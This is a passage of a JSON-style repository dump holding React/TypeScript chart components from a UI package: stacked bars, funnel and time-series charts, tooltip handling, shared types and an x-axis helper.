    "content": "import { cn } from \"@dub/utils\";\nimport { RectClipPath } from \"@visx/clip-path\";\nimport { Group } from \"@visx/group\";\nimport { BarRounded } from \"@visx/shape\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useId } from \"react\";\nimport { useChartContext } from \"./chart-context\";\n\nexport function Bars({\n  seriesStyles,\n  radius = 2,\n}: {\n  seriesStyles?: {\n    id: string;\n    barClassName?: string;\n    barFill?: string;\n  }[];\n  radius?: number;\n}) {\n  const clipPathId = useId();\n  const {\n    data,\n    series,\n    margin,\n    xScale,\n    yScale,\n    width,\n    height,\n    startDate,\n    endDate,\n  } = useChartContext();\n\n  if (!(\"bandwidth\" in xScale))\n    throw new Error(\"Bars require a band scale (type=bar)\");\n\n  const activeSeries = series.filter(({ isActive }) => isActive);\n\n  return (\n    <Group left={margin.left} top={margin.top}>\n      <RectClipPath id={clipPathId} x={0} y={0} width={width} height={height} />\n      <AnimatePresence>\n        <motion.g\n          initial={{ opacity: 0 }}\n          animate={{ opacity: 1 }}\n          exit={{ opacity: 0 }}\n          transition={{ duration: 0.1 }}\n          key={`${activeSeries.map((s) => s.id).join(\",\")}_${startDate.toString()}_${endDate.toString()}`}\n          clipPath={`url(#${clipPathId})`}\n        >\n          {data.map((d) => {\n            const barWidth = xScale.bandwidth();\n            const x = xScale(d.date) ?? 0;\n\n            const sortedSeries = activeSeries\n              .filter((s) => s.valueAccessor(d) > 0)\n              .sort((a, b) => b.valueAccessor(d) - a.valueAccessor(d));\n\n            const bars = sortedSeries.reduce((acc, s) => {\n              const stackHeight = acc.reduce((sum, b) => sum + b.height, 0);\n              const value = s.valueAccessor(d) ?? 0;\n              const y = yScale(value);\n\n              return [\n                ...acc,\n                {\n                  id: s.id,\n                  value,\n                  colorClassName: s.colorClassName,\n                  styles: seriesStyles?.find(({ id }) => id === s.id),\n                  y: stackHeight, // y from x axis to bottom of bar\n                  height: height - y, // height from bottom to top of bar\n                },\n              ];\n            }, [] as any[]);\n\n            return (\n              <g key={d.date.toString()}>\n                {bars.map((b, idx) => {\n                  return (\n                    <BarRounded\n                      key={b.id}\n                      x={x}\n                      y={height - b.height - b.y}\n                      width={barWidth}\n                      height={b.height}\n                      className={cn(\n                        b.colorClassName ?? \"text-blue-700\",\n                        b.styles?.barClassName,\n                      )}\n                      fill={b.styles?.barFill || \"currentColor\"}\n                      {...(idx === bars.length - 1\n                        ? { top: true, radius: radius }\n                        : { radius: 0 })}\n                    />\n                  );\n                })}\n              </g>\n            );\n          })}\n        </motion.g>\n      </AnimatePresence>\n    </Group>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/charts/chart-context.ts",
    "content": "import { createContext, useContext } from \"react\";\nimport {\n  Datum,\n  type ChartContext as ChartContextType,\n  type ChartTooltipContext as ChartTooltipContextType,\n} from \"./types\";\n\nexport const ChartContext = createContext<ChartContextType | null>(null);\n\nexport function useChartContext<T extends Datum>(): ChartContextType<T> {\n  const chartContext = useContext(ChartContext);\n  if (!chartContext) throw new Error(\"No chart context\");\n  return chartContext;\n}\n\nexport const ChartTooltipContext =\n  createContext<ChartTooltipContextType | null>(null);\n\nexport function useChartTooltipContext<\n  T extends Datum,\n>(): ChartTooltipContextType<T> {\n  const chartTooltipContext = useContext(ChartTooltipContext);\n  if (!chartTooltipContext) throw new Error(\"No chart tooltip context\");\n  return chartTooltipContext;\n}\n"
  },
  {
    "path": "packages/ui/src/charts/funnel-chart.tsx",
    "content": "import { cn, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { curveBasis } from \"@visx/curve\";\nimport { ParentSize } from \"@visx/responsive\";\nimport { scaleLinear } from \"@visx/scale\";\nimport { Area } from \"@visx/shape\";\nimport { Text } from \"@visx/text\";\nimport { motion } from \"motion/react\";\nimport { Fragment, useMemo, useRef, useState } from \"react\";\nimport { useMediaQuery } from \"../hooks\";\n\nconst layers = [\n  {\n    opacity: 1,\n    padding: 0,\n  },\n  {\n    opacity: 0.3,\n    padding: 8,\n  },\n  {\n    opacity: 0.15,\n    padding: 16,\n  },\n];\n\nconst maxLayerPadding = 16;\n\ntype FunnelChartProps = {\n  steps: {\n    id: string;\n    label: string;\n    value: number;\n    additionalValue?: number;\n    colorClassName: string;\n  }[];\n  persistentPercentages?: boolean;\n  tooltips?: boolean;\n  defaultTooltipStepId?: string;\n  chartPadding?: number;\n};\n\nexport function FunnelChart(props: FunnelChartProps) {\n  return (\n    <div className=\"size-full\">\n      <ParentSize className=\"relative\">\n        {({ width, height }) =>\n          width && height ? (\n            <FunnelChartInner {...props} width={width} height={height} />\n          ) : null\n        }\n      </ParentSize>\n    </div>\n  );\n}\n\nfunction FunnelChartInner({\n  width,\n  height,\n  steps,\n  persistentPercentages = true,\n  tooltips = true,\n  defaultTooltipStepId,\n  chartPadding = 40,\n}: {\n  width: number;\n  height: number;\n} & FunnelChartProps) {\n  const { isMobile } = useMediaQuery();\n\n  const [tooltip, setTooltip] = useState<string | null>(\n    defaultTooltipStepId ?? null,\n  );\n  const tooltipStep = steps.find(({ id }) => id === tooltip);\n\n  const data = useMemo(() => {\n    return Object.fromEntries(\n      steps.map(({ id, value }, idx) => [\n        id,\n        interpolate(\n          value,\n          steps[idx + 1]?.value ?? steps[steps.length - 1].value,\n        ),\n      ]),\n    );\n  }, [steps]);\n\n  const zeroData = useMemo(() => interpolate(0, 0), [steps]);\n\n  const maxValue = useMemo(\n    () => Math.max(...steps.map((step) => step.value)),\n    [steps],\n  );\n\n  const xScale = scaleLinear({\n    domain: [0, steps.length],\n    range: [0, width],\n  });\n\n  const yScale = scaleLinear({\n    domain: [maxValue, -maxValue],\n    range: [\n      height - maxLayerPadding - chartPadding,\n      maxLayerPadding + chartPadding,\n    ],\n  });\n\n  return (\n    <div className=\"relative\">\n      <svg width={width} height={height}>\n        {steps.map(({ id, value, colorClassName }, idx) => {\n          const stepCenterX = (xScale(idx) + xScale(idx + 1)) / 2;\n          return (\n            <Fragment key={id}>\n              {/* Background */}\n              {tooltips && (\n                <rect\n                  x={xScale(idx)}\n                  y={0}\n                  width={width / steps.length}\n                  height={height}\n                  className=\"fill-transparent transition-colors hover:fill-blue-600/5\"\n                  onPointerEnter={() => setTooltip(id)}\n                  onPointerDown={() => setTooltip(id)}\n                  onPointerLeave={() =>\n                    !isMobile && setTooltip(defaultTooltipStepId ?? null)\n                  }\n                />\n              )}\n\n              {/* Divider line */}\n              <line\n                x1={xScale(idx)}\n                y1={0}\n                x2={xScale(idx)}\n                y2={height}\n                className=\"stroke-black/5 sm:stroke-black/10\"\n              />\n\n              {/* Funnel */}\n              {layers.map(({ opacity, padding }) => (\n                <Area\n                  key={`${id}-${opacity}-${padding}`}\n                  data={data[id]}\n                  curve={curveBasis}\n                  x={(d) => xScale(idx + d.x)}\n                  y0={(d) => yScale(-d.y) - padding}\n                  y1={(d) => yScale(d.y) + padding}\n                >\n                  {({ path }) => {\n                    return (\n                      <motion.path\n                        initial={{ d: path(zeroData) || \"\", opacity: 0 }}\n                        animate={{ d: path(data[id]) || \"\", opacity }}\n                        className={cn(colorClassName, \"pointer-events-none\")}\n                        fill=\"currentColor\"\n                      />\n                    );\n                  }}\n                </Area>\n              ))}\n\n              {/* Percentage */}\n              {persistentPercentages && (\n                <PersistentPercentage\n                  x={stepCenterX}\n                  y={height / 2}\n                  value={formatPercentage((value / maxValue) * 100) + \"%\"}\n                  colorClassName={colorClassName}\n                />\n              )}\n            </Fragment>\n          );\n        })}\n      </svg>\n      {tooltipStep && (\n        <div\n          key={tooltipStep.id}\n          className={cn(\n            \"pointer-events-none absolute flex items-center justify-center px-1 pb-4\",\n            persistentPercentages\n              ? \"animate-slide-up-fade top-16 sm:top-12\"\n              : \"animate-fade-in top-1/2 -translate-y-1/2\",\n          )}\n          style={{\n            left: xScale(steps.findIndex(({ id }) => id === tooltipStep.id)),\n            width: width / steps.length,\n          }}\n        >\n          <div\n            className={cn(\n              \"rounded-lg border border-neutral-200 bg-white text-base shadow-sm\",\n            )}\n          >\n            <p className=\"border-b border-neutral-200 px-3 py-2 text-sm text-neutral-900 sm:px-4 sm:py-3\">\n              {tooltipStep.label}\n            </p>\n            <div className=\"flex flex-wrap justify-between gap-x-4 gap-y-2 px-3 py-2 text-sm sm:px-4 sm:py-3\">\n              <div className=\"flex items-center gap-2\">\n                <div\n                  className={cn(\n                    tooltipStep.colorClassName,\n                    \"h-2 w-2 shrink-0 rounded-sm bg-current opacity-50 shadow-[inset_0_0_0_1px_#0003]\",\n                  )}\n                />\n                <p className=\"whitespace-nowrap capitalize text-neutral-600\">\n                  {formatPercentage((tooltipStep.value / maxValue) * 100) + \"%\"}\n                </p>\n              </div>\n              <p className=\"whitespace-nowrap font-medium text-neutral-900\">\n                {nFormatter(tooltipStep.value, { full: true })}\n                {tooltipStep.additionalValue !== undefined && (\n                  <span className=\"text-neutral-500\">\n                    {\" \"}\n                    ({currencyFormatter(tooltipStep.additionalValue)})\n                  </span>\n                )}\n              </p>\n            </div>\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction PersistentPercentage({\n  x,\n  y,\n  value,\n  colorClassName,\n}: {\n  x: number;\n  y: number;\n  value: string;\n  colorClassName: string;\n}) {\n  const textRef = useRef<SVGTextElement>(null);\n\n  const textWidth = textRef.current?.getComputedTextLength() ?? 0;\n  const pillWidth = textWidth + 28;\n\n  return (\n    <g>\n      <rect\n        x={x - pillWidth / 2}\n        width={pillWidth}\n        y={y - 14}\n        height={28}\n        rx={14}\n        fill=\"white\"\n      />\n      <Text\n        innerTextRef={textRef}\n        x={x}\n        y={y}\n        textAnchor=\"middle\"\n        verticalAnchor=\"middle\"\n        fill=\"currentColor\"\n        fontSize={14}\n        className={cn(\n          \"pointer-events-none select-none font-medium brightness-50\",\n          colorClassName,\n        )}\n      >\n        {value}\n      </Text>\n    </g>\n  );\n}\n\nconst formatPercentage = (value: number) => {\n  return value > 0 && value < 0.01\n    ? \"< 0.01\"\n    : nFormatter(value, { digits: 2 });\n};\n\nconst interpolate = (from: number, to: number) => [\n  { x: 0, y: from },\n  { x: 0.3, y: from },\n  { x: 0.5, y: (from + to) / 2 },\n  { x: 0.7, y: to },\n  { x: 1, y: to },\n];\n"
  },
  {
    "path": "packages/ui/src/charts/index.ts",
    "content": "export * from \"./areas\";\nexport * from \"./bars\";\nexport * from \"./chart-context\";\nexport * from \"./funnel-chart\";\nexport * from \"./time-series-chart\";\nexport * from \"./tooltip-sync\";\nexport * from \"./x-axis\";\nexport * from \"./y-axis\";\n"
  },
  {
    "path": "packages/ui/src/charts/time-series-chart.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { Group } from \"@visx/group\";\nimport { ParentSize } from \"@visx/responsive\";\nimport { scaleBand, scaleLinear, scaleUtc } from \"@visx/scale\";\nimport { Bar, Circle, Line } from \"@visx/shape\";\nimport { PropsWithChildren, useMemo, useState } from \"react\";\nimport { ChartContext, ChartTooltipContext } from \"./chart-context\";\nimport {\n  ChartProps,\n  Datum,\n  type ChartContext as ChartContextType,\n} from \"./types\";\nimport { useTooltip } from \"./use-tooltip\";\n\ntype TimeSeriesChartProps<T extends Datum> = PropsWithChildren<ChartProps<T>>;\n\nexport function TimeSeriesChart<T extends Datum>(\n  props: TimeSeriesChartProps<T>,\n) {\n  return (\n    <ParentSize className=\"relative\">\n      {({ width, height }) => {\n        return (\n          width > 0 &&\n          height > 0 && (\n            <TimeSeriesChartInner {...props} width={width} height={height} />\n          )\n        );\n      }}\n    </ParentSize>\n  );\n}\n\nfunction TimeSeriesChartInner<T extends Datum>({\n  type = \"area\",\n  width: outerWidth,\n  height: outerHeight,\n  children,\n  data,\n  series,\n  tooltipContent = (d) => series[0].valueAccessor(d).toString(),\n  tooltipClassName = \"\",\n  defaultTooltipIndex = null,\n  onHoverDateChange,\n  margin: marginProp = {\n    top: 12,\n    right: 5,\n    bottom: 32,\n    left: 5,\n  },\n  padding: paddingProp,\n}: {\n  width: number;\n  height: number;\n} & TimeSeriesChartProps<T>) {\n  const [leftAxisMargin, setLeftAxisMargin] = useState<number>();\n\n  const margin = {\n    ...marginProp,\n    left: marginProp.left + (leftAxisMargin ?? 0),\n  };\n\n  const padding = paddingProp ?? {\n    top: 0.1,\n    bottom: type === \"area\" ? 0.1 : 0,\n  };\n\n  const width = outerWidth - margin.left - margin.right;\n  const height = outerHeight - margin.top - margin.bottom;\n\n  const { startDate, endDate } = useMemo(() => {\n    const dates = data.map(({ date }) => date);\n    const times = dates.map((d) => d.getTime());\n\n    return {\n      startDate: dates[times.indexOf(Math.min(...times))],\n      endDate: dates[times.indexOf(Math.max(...times))],\n    };\n  }, [data]);\n\n  const { minY, maxY } = useMemo(() => {\n    const activeSeries = series.filter(({ isActive }) => isActive !== false);\n    const values = data\n      .flatMap((d) =>\n        type === \"bar\"\n          ? // Sum values for stacked bars\n            activeSeries.reduce((sum, s) => sum + s.valueAccessor(d), 0)\n          : activeSeries.map((s) => s.valueAccessor(d)),\n      )\n      .filter((v): v is number => v != null);\n\n    return {\n      // Start at 0 for bar charts\n      minY: type === \"area\" ? Math.min(...values) : Math.min(0, ...values),\n      maxY: Math.max(...values),\n    };\n  }, [data, series, type]);\n\n  const { yScale, xScale } = useMemo(() => {\n    const rangeY = maxY - minY;\n    return {\n      yScale: scaleLinear<number>({\n        domain: [\n          minY - rangeY * (padding.bottom ?? 0),\n          maxY + rangeY * (padding.top ?? 0),\n        ],\n        range: [height, 0],\n        nice: true,\n        clamp: true,\n      }),\n      xScale:\n        type === \"area\"\n          ? scaleUtc<number>({\n              domain: [startDate, endDate],\n              range: [0, width],\n            })\n          : scaleBand({\n              domain: data.map(({ date }) => date),\n              range: [0, width],\n              padding: 0.15,\n              align: 0.5,\n            }),\n    };\n  }, [startDate, endDate, minY, maxY, height, width, data.length, type]);\n\n  const chartContext: ChartContextType<T> = {\n    type,\n    width,\n    height,\n    data,\n    series,\n    startDate,\n    endDate,\n    xScale: xScale as any,\n    yScale,\n    minY,\n    maxY,\n    margin,\n    padding,\n    tooltipContent,\n    tooltipClassName,\n    defaultTooltipIndex,\n    onHoverDateChange,\n    leftAxisMargin,\n    setLeftAxisMargin,\n  };\n\n  const tooltipContext = useTooltip({\n    seriesId: series[0].id,\n    chartContext,\n    onHoverDateChange,\n    defaultIndex: defaultTooltipIndex ?? undefined,\n  });\n\n  const {\n    tooltipData,\n    TooltipWrapper,\n    tooltipLeft,\n    tooltipTop,\n    handleTooltip,\n    hideTooltip,\n    containerRef,\n  } = tooltipContext;\n\n  return (\n    <ChartContext.Provider value={chartContext}>\n      <ChartTooltipContext.Provider value={tooltipContext}>\n        <svg width={outerWidth} height={outerHeight} ref={containerRef}>\n          {children}\n          <Group left={margin.left} top={margin.top}>\n            {/* Tooltip hover line + circle */}\n            {tooltipData &&\n              (\"bandwidth\" in xScale ? (\n                <>\n                  <Bar\n                    x={\n                      (xScale(tooltipData.date) ?? 0) -\n                      xScale.bandwidth() * xScale.padding()\n                    }\n                    width={xScale.bandwidth() * (1 + xScale.padding() * 2)}\n                    y={0}\n                    height={height}\n                    fill=\"black\"\n                    fillOpacity={0.05}\n                  />\n                </>\n              ) : (\n                <>\n                  <Line\n                    x1={xScale(tooltipData.date)}\n                    x2={xScale(tooltipData.date)}\n                    y1={height}\n                    y2={0}\n                    stroke=\"black\"\n                    strokeOpacity={0.5}\n                    strokeWidth={1}\n                  />\n\n                  {series\n                    .filter(({ isActive }) => isActive)\n                    .map((s) => (\n                      <Circle\n                        key={s.id}\n                        cx={xScale(tooltipData.date)}\n                        cy={yScale(s.valueAccessor(tooltipData))}\n                        r={4}\n                        className={s.colorClassName ?? \"text-blue-800\"}\n                        fill=\"currentColor\"\n                      />\n                    ))}\n                </>\n              ))}\n\n            {/* Tooltip hover region */}\n            <Bar\n              x={0}\n              y={0}\n              width={width}\n              height={height}\n              onTouchStart={handleTooltip}\n              onTouchMove={handleTooltip}\n              onMouseMove={handleTooltip}\n              onMouseLeave={hideTooltip}\n              fill=\"transparent\"\n            />\n          </Group>\n        </svg>\n\n        {/* Tooltips */}\n        <div className=\"pointer-events-none absolute inset-0\">\n          {tooltipData && (\n            <TooltipWrapper\n              key={tooltipData.date.toString()}\n              left={(tooltipLeft ?? 0) + margin.left}\n              top={(tooltipTop ?? 0) + margin.top}\n              offsetLeft={\n                \"bandwidth\" in xScale\n                  ? xScale.bandwidth() * (1 + xScale.padding())\n                  : 8\n              }\n              offsetTop={12}\n              className=\"absolute\"\n              unstyled={true}\n            >\n              <div\n                className={cn(\n                  \"pointer-events-none rounded-lg border border-neutral-200 bg-white px-4 py-2 text-base shadow-sm\",\n                  tooltipClassName,\n                )}\n              >\n                {tooltipContent?.(tooltipData) ??\n                  series[0].valueAccessor(tooltipData)}\n              </div>\n            </TooltipWrapper>\n          )}\n        </div>\n      </ChartTooltipContext.Provider>\n    </ChartContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/charts/tooltip-sync.tsx",
    "content": "import {\n  createContext,\n  Dispatch,\n  PropsWithChildren,\n  SetStateAction,\n  useState,\n} from \"react\";\n\ntype ChartTooltipSyncContextType = {\n  tooltipDate?: Date | null;\n  setTooltipDate?: Dispatch<SetStateAction<Date | null | undefined>>;\n};\n\nexport const ChartTooltipSyncContext =\n  createContext<ChartTooltipSyncContextType>({});\n\nexport function ChartTooltipSync({ children }: PropsWithChildren) {\n  const [tooltipDate, setTooltipDate] = useState<Date | null | undefined>(\n    undefined,\n  );\n\n  return (\n    <ChartTooltipSyncContext.Provider value={{ tooltipDate, setTooltipDate }}>\n      {children}\n    </ChartTooltipSyncContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/charts/types.ts",
    "content": "import { ScaleTypeToD3Scale } from \"@visx/scale\";\nimport { TooltipWithBounds } from \"@visx/tooltip\";\nimport { UseTooltipParams } from \"@visx/tooltip/lib/hooks/useTooltip\";\nimport { TooltipInPortalProps } from \"@visx/tooltip/lib/hooks/useTooltipInPortal\";\nimport { Dispatch, FC, ReactElement, SetStateAction } from \"react\";\n\nexport type Datum = Record<string, any>;\n\nexport type TimeSeriesDatum<T extends Datum = any> = {\n  date: Date;\n  values: T;\n};\n\nexport type AccessorFn<T extends Datum, TValue = number> = (\n  datum: TimeSeriesDatum<T>,\n) => TValue;\n\nexport type Series<T extends Datum = any, TValue = number> = {\n  id: string;\n  isActive?: boolean;\n  valueAccessor: AccessorFn<T, TValue>;\n  colorClassName?: string;\n};\n\nexport type Data<T extends Datum> = TimeSeriesDatum<T>[];\n\ntype ChartRequiredProps<T extends Datum = any> = {\n  data: Data<T>;\n  series: Series<T>[];\n};\n\ntype ChartOptionalProps<T extends Datum = any> = {\n  type?: \"area\" | \"bar\";\n  tooltipContent?: (datum: TimeSeriesDatum<T>) => ReactElement<any> | string;\n  tooltipClassName?: string;\n  defaultTooltipIndex?: number | null;\n  /**\n   * Called when the hovered x-value (date) changes, or when hover is cleared.\n   * Useful for syncing external UI to the currently hovered datum.\n   */\n  onHoverDateChange?: (date: Date | null) => void;\n\n  /**\n   * Absolute pixel values for margins around the chart area.\n   * Default values accommodate axis labels and other expected overflow.\n   */\n  margin?: {\n    top: number;\n    right: number;\n    bottom: number;\n    left: number;\n  };\n\n  /**\n   * Decimal percentages for padding above and below highest and lowest y-values\n   */\n  padding?: {\n    top: number;\n    bottom: number;\n  };\n};\n\nexport type ChartProps<T extends Datum = any> = ChartRequiredProps<T> &\n  ChartOptionalProps<T>;\n\nexport type ChartContext<T extends Datum = any> = Required<\n  Omit<ChartProps<T>, \"onHoverDateChange\">\n> & {\n  width: number;\n  height: number;\n  startDate: Date;\n  endDate: Date;\n  xScale:\n    | ScaleTypeToD3Scale<number>[\"utc\"]\n    | ScaleTypeToD3Scale<number>[\"band\"];\n  yScale: ScaleTypeToD3Scale<number>[\"linear\"];\n  minY: number;\n  maxY: number;\n  leftAxisMargin?: number;\n  setLeftAxisMargin: Dispatch<SetStateAction<number | undefined>>;\n  /**\n   * Optional callback invoked when the hovered x-value (date) changes.\n   */\n  onHoverDateChange?: (date: Date | null) => void;\n};\n\nexport type ChartTooltipContext<T extends Datum = any> = {\n  handleTooltip: (\n    event: React.TouchEvent<SVGRectElement> | React.MouseEvent<SVGRectElement>,\n  ) => void;\n  TooltipWrapper: FC<TooltipInPortalProps> | typeof TooltipWithBounds;\n  containerRef: (element: SVGElement | HTMLElement | null) => void;\n} & UseTooltipParams<TimeSeriesDatum<T>>;\n"
  },
  {
    "path": "packages/ui/src/charts/use-tooltip.ts",
    "content": "import { localPoint } from \"@visx/event\";\nimport {\n  TooltipWithBounds,\n  useTooltipInPortal,\n  useTooltip as useVisxTooltip,\n} from \"@visx/tooltip\";\nimport { bisector } from \"d3-array\";\nimport { useCallback, useContext, useEffect, useMemo, useRef } from \"react\";\nimport { ChartTooltipSyncContext } from \"./tooltip-sync\";\nimport {\n  ChartContext,\n  ChartTooltipContext,\n  Datum,\n  Series,\n  TimeSeriesDatum,\n} from \"./types\";\n\nconst bisectDate = bisector<Datum, Date>((d) => new Date(d.date)).left;\n\nexport type TooltipOptions<T extends Datum> = {\n  seriesId?: Series[\"id\"];\n  chartContext: ChartContext<T>;\n  renderInPortal?: boolean;\n  snapToX?: boolean;\n  snapToY?: boolean;\n  defaultIndex?: number;\n  onHoverDateChange?: (date: Date | null) => void;\n};\n\nexport function useTooltip<T extends Datum>({\n  seriesId,\n  chartContext,\n  renderInPortal = false,\n  snapToY = false,\n  snapToX = true,\n  defaultIndex,\n  onHoverDateChange,\n}: TooltipOptions<T>): ChartTooltipContext {\n  const { series, data, xScale, yScale, margin } = chartContext;\n\n  const tooltipSyncContext = useContext(ChartTooltipSyncContext);\n\n  const visxTooltipInPortal = useTooltipInPortal({\n    scroll: true,\n    detectBounds: true,\n    debounce: 200,\n  });\n\n  const defaultTooltipDatum =\n    defaultIndex !== undefined ? data[defaultIndex] : undefined;\n\n  const defaultTooltipData = useMemo(\n    () =>\n      defaultTooltipDatum !== undefined\n        ? {\n            tooltipData: defaultTooltipDatum,\n            tooltipLeft: snapToX ? xScale(defaultTooltipDatum.date) : 0,\n            tooltipTop: snapToY\n              ? yScale(\n                  series\n                    .find((s) => s.id === seriesId)!\n                    .valueAccessor(defaultTooltipDatum),\n                )\n              : 0,\n          }\n        : undefined,\n    [defaultTooltipDatum, snapToX, snapToY, xScale, yScale, series, seriesId],\n  );\n\n  const visxTooltip = useVisxTooltip<TimeSeriesDatum<T>>();\n\n  // Throttle tooltip updates to animation frames to avoid excessive React\n  // state updates on every mousemove event.\n  const tooltipFrameRef = useRef<number | null>(null);\n  const pendingTooltipRef = useRef<{\n    tooltipData: TimeSeriesDatum<T>;\n    tooltipLeft: number;\n    tooltipTop: number;\n  } | null>(null);\n\n  const scheduleTooltipUpdate = useCallback(\n    (next: {\n      tooltipData: TimeSeriesDatum<T>;\n      tooltipLeft: number;\n      tooltipTop: number;\n    }) => {\n      pendingTooltipRef.current = next;\n\n      if (tooltipFrameRef.current !== null) return;\n\n      tooltipFrameRef.current = window.requestAnimationFrame(() => {\n        tooltipFrameRef.current = null;\n        const current = pendingTooltipRef.current;\n        if (!current) return;\n        visxTooltip.showTooltip({\n          tooltipData: current.tooltipData,\n          tooltipLeft: current.tooltipLeft ?? 0,\n          tooltipTop: current.tooltipTop,\n        });\n      });\n    },\n    [visxTooltip.showTooltip],\n  );\n\n  useEffect(\n    () => () => {\n      if (tooltipFrameRef.current !== null) {\n        window.cancelAnimationFrame(tooltipFrameRef.current);\n      }\n    },\n    [],\n  );\n\n  useEffect(() => {\n    if (defaultTooltipData) {\n      scheduleTooltipUpdate({\n        tooltipData: defaultTooltipData.tooltipData,\n        tooltipLeft: defaultTooltipData.tooltipLeft ?? 0,\n        tooltipTop: defaultTooltipData.tooltipTop,\n      });\n    }\n  }, [defaultTooltipData, scheduleTooltipUpdate]);\n\n  // Sync w/ other charts within the same ChartTooltipSync context\n  useEffect(() => {\n    if (\n      tooltipSyncContext.tooltipDate &&\n      visxTooltip.tooltipData?.date.getTime() !==\n        tooltipSyncContext.tooltipDate.getTime()\n    ) {\n      const d = data.find(\n        (d) => d.date.getTime() === tooltipSyncContext.tooltipDate?.getTime(),\n      );\n      if (!d) return;\n\n      scheduleTooltipUpdate({\n        tooltipData: d,\n        tooltipLeft: xScale(d.date) ?? 0,\n        tooltipTop: snapToY\n          ? yScale(series.find((s) => s.id === seriesId)!.valueAccessor(d))\n          : 0,\n      });\n      onHoverDateChange?.(d.date);\n    } else if (\n      tooltipSyncContext.tooltipDate === null &&\n      visxTooltip.tooltipData?.date\n    ) {\n      visxTooltip.hideTooltip();\n      onHoverDateChange?.(null);\n    }\n  }, [\n    tooltipSyncContext.tooltipDate,\n    visxTooltip.tooltipData,\n    snapToX,\n    snapToY,\n    xScale,\n    yScale,\n  ]);\n\n  const handleTooltip = useCallback(\n    (\n      event:\n        | React.TouchEvent<SVGRectElement>\n        | React.MouseEvent<SVGRectElement>,\n    ) => {\n      const lp = localPoint(event) || { x: 0 };\n      const x = lp.x - margin.left;\n      const x0 =\n        \"invert\" in xScale\n          ? xScale.invert(x)\n          : (xScale.domain()[\n              Math.round((x - xScale.step() * 0.75) / xScale.step())\n            ] as Date | undefined);\n\n      if (x0 === undefined) {\n        console.log(\"x0 is undefined\", { defaultTooltipData });\n        if (defaultTooltipData) visxTooltip.showTooltip(defaultTooltipData);\n        else visxTooltip.hideTooltip();\n        return;\n      }\n      const index = bisectDate(data, x0, 1);\n      const d0 = data[index - 1];\n      const d1 = data[index];\n      let d = d0;\n      if (d1?.date) {\n        d =\n          x0.valueOf() - d0.date.valueOf() > d1.date.valueOf() - x0.valueOf()\n            ? d1\n            : d0;\n      }\n      scheduleTooltipUpdate({\n        tooltipData: d,\n        tooltipLeft: snapToX ? xScale(d.date) ?? 0 : x,\n        tooltipTop: snapToY\n          ? yScale(series.find((s) => s.id === seriesId)!.valueAccessor(d))\n          : 0,\n      });\n\n      tooltipSyncContext.setTooltipDate?.(d.date);\n      onHoverDateChange?.(d.date);\n    },\n    [\n      seriesId,\n      data,\n      xScale,\n      yScale,\n      series,\n      defaultTooltipData,\n      scheduleTooltipUpdate,\n      tooltipSyncContext.setTooltipDate,\n    ],\n  );\n\n  const TooltipWrapper = renderInPortal\n    ? visxTooltipInPortal.TooltipInPortal\n    : TooltipWithBounds;\n\n  return {\n    handleTooltip,\n    TooltipWrapper,\n    containerRef: visxTooltipInPortal.containerRef,\n    ...visxTooltip,\n    hideTooltip: () => {\n      tooltipSyncContext.setTooltipDate?.(null);\n\n      defaultTooltipData\n        ? visxTooltip.showTooltip(defaultTooltipData)\n        : visxTooltip.hideTooltip();\n      onHoverDateChange?.(null);\n    },\n  };\n}\n"
  },
  {
    "path": "packages/ui/src/charts/utils.ts",
    "content": "/**\n * Calculates and returns all whole factors of a given positive integer.\n * A factor of a number is a whole number that can be divided evenly into the number,\n * meaning without leaving a remainder. This function efficiently generates a list of\n * such factors for any given positive integer by iterating through all possible\n * candidates (from 1 to the number itself) and checking divisibility.\n *\n * @param {number} number - The positive integer for which to find all whole factors.\n *                          It should be a non-negative integer, as negative numbers\n *                          and non-integers are not handled by this function.\n * @returns {number[]} An array of numbers representing all the whole factors of\n *                     the input number, including 1 and the number itself if applicable.\n *\n * Example usage:\n * getFactors(12); // returns [1, 2, 3, 4, 6, 12]\n * getFactors(7);  // returns [1, 7]\n */\nexport const getFactors = (number: number) =>\n  [...Array(number + 1).keys()].filter((i) => number % i === 0);\n"
  },
  {
    "path": "packages/ui/src/charts/x-axis.tsx",
    "content": "import { AxisBottom } from \"@visx/axis\";\nimport { Group } from \"@visx/group\";\nimport { Line } from \"@visx/shape\";\nimport { useMemo } from \"react\";\nimport { useChartContext, useChartTooltipContext } from \"./chart-context\";\nimport { getFactors } from \"./utils\";\n\nexport type XAxisProps = {\n  /**\n   * Maximum number of ticks to generate\n   */\n  maxTicks?: number;\n\n  /**\n   * Whether to render dashed grid lines across the chart area\n   */\n  showGridLines?: boolean;\n\n  /**\n   * Whether to render a line for the axis\n   */\n  showAxisLine?: boolean;\n\n  /**\n   * Whether to highlight the latest tick label when no other area is hovered\n   */\n  highlightLast?: boolean;\n\n  /**\n   * Custom formatting function for tick labels\n   */\n  tickFormat?: (date: Date) => string;\n};\n\nexport function XAxis({\n  maxTicks: maxTicksProp,\n  showGridLines = false,\n  highlightLast = true,\n  showAxisLine = true,\n  tickFormat = (date) =>\n    date.toLocaleDateString(\"en-US\", { month: \"short\", day: \"numeric\" }),\n}: XAxisProps) {\n  const { data, margin, width, height, xScale, startDate, endDate } =\n    useChartContext();\n\n  const { tooltipData } = useChartTooltipContext();\n\n  const tickValues = useMemo(() => {\n    const maxTicks = maxTicksProp ?? (width < 450 ? 4 : width < 600 ? 6 : 8);\n\n    const tickInterval =\n      getFactors(data.length).find((f) => (data.length + 1) / f <= maxTicks) ??\n      1;\n\n    // If the interval would result in < 2 ticks, just use the first and last date instead\n    const twoTicks = data.length / tickInterval < 2;\n\n    return data\n      .filter((_, idx, { length }) =>\n        twoTicks\n          ? idx === 0 || idx === length - 1\n          : (idx + 1) % tickInterval === 0,\n      )\n      .map(({ date }) => date);\n  }, [width, maxTicksProp, data]);\n\n  return (\n    <>\n      <AxisBottom\n        left={margin.left}\n        top={margin.top + height}\n        scale={xScale}\n        tickValues={tickValues}\n        hideTicks\n        hideAxisLine={!showAxisLine}\n        stroke=\"#00000026\"\n        tickFormat={(date) => tickFormat(date as Date)}\n        tickLabelProps={(date, idx, { length }) => ({\n          className: \"transition-colors\",\n          textAnchor:\n            idx === 0 ? \"start\" : idx === length - 1 ? \"end\" : \"middle\",\n          fontSize: 12,\n          